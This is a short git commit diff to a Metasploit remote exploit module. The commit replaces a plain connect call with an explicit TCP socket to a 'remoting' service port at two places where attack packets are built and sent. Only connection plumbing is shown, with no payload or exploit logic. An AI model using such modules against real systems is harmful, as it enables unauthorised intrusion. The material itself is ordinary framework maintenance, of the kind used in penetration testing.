... and restore use of the complicated socket

bug/bundler_fix
Pedro Ribeiro 2014-10-09 18:30:45 +01:00
parent c78651fccc
commit 4b7a446547
1 changed files with 4 additions and 2 deletions

View File

@ -188,7 +188,8 @@ class Metasploit3 < Msf::Exploit::Remote
buf << @packet_terminator.pack('C*')
sock = connect
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx })
if sock.nil?
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
else
@ -419,7 +420,8 @@ class Metasploit3 < Msf::Exploit::Remote
buf << @packet_terminator.pack('C*')
# send the packet and ignore the response
sock = connect
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx })
if sock.nil?
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
else